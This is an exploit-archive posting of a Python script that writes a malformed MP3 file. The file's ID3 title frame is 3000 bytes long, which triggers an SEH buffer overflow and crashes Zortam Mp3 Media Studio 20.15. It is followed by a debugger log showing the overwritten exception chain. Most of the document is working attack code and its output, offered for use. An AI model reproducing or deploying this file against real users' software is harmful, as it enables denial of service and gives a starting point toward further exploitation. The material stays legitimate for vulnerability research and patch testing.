Zortam Mp3 Media Studio 20.15 - SEH Overflow Denial of Service

#-*- coding: utf-8 -*-
 
#
 
# Exploit Title : Zortam Mp3 Media Studio 20.15 - SEH overflow DOS
 
# Date: 2016-03-12
 
# Author: INSECT.B
 
#   Facebook : https://www.facebook.com/B.INSECT00
 
#   GitHub : binsect00
 
#   Blog : http://binsect00.tistory.com
 
# Vendor Homepage : http://www.zortam.com
 
# Software Link: http://www.zortam.com/download.html
 
# Version: 20.15
 
# Tested on: Windows7 Professional SP1 En x86 
 
# CVE : N/A
 
#
 
# Detail..
 
#  1. Zortam Mp3 Media Studio is program that change tags sound file
 
#  2. If tag length over certain length, program is occured crash.  
 
#  3. Make mp3 file. title tag length is 3000.
 
#  4. program open. and serching Directory
 
 
 
 
 
id3Id = '\x49\x44\x33' #ID3
 
id3Version = '\x03\x00'
 
id3Flag = '\x00'
 
id3Size = '\x00\x00\x2F\x2D'
 
id3 = id3Id + id3Version + id3Flag + id3Size
 
 
 
frameId = '\x54\x49\x54\x32' #TIT2
 
frameSize = '\x00\x00\x0B\xB9' #Frame Size
 
frameFlag = '\x00\x00'
 
textEncoding = '\x00'
 
textInfo = 'A'*3000
 
frame = frameId + frameSize + frameFlag + textEncoding + textInfo
 
 
 
 
 
padding = '\x00'*1100
 
 
 
payload = id3 + frame + padding
 
with open('Zortam Mp3 Media Studio 20.15 DOS Vulnerabilities.mp3','wb') as f:
 
    f.write(payload)
 
 
 
'''
 
STATUS_STACK_BUFFER_OVERRUN encountered
 
(aa4.c08): Break instruction exception - code 80000003 (first chance)
 
eax=00000000 ebx=743b74ec ecx=7619e28c edx=0012e4a9 esi=00000000 edi=756d6640
 
eip=7619e109 esp=0012e6f0 ebp=0012e76c iopl=0         nv up ei pl zr na pe nc
 
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 
 
kernel32!FormatMessageA+0x14031:
 
7619e109 cc              int     3
 
0:000> !exchain
 
0012e75c: kernel32!RegSaveKeyExA+3e9 (761ca022)
 
0012f2b8: 41414141
 
Invalid exception stack at 41414141
 
'''

#  0day.today [2018-03-19]  #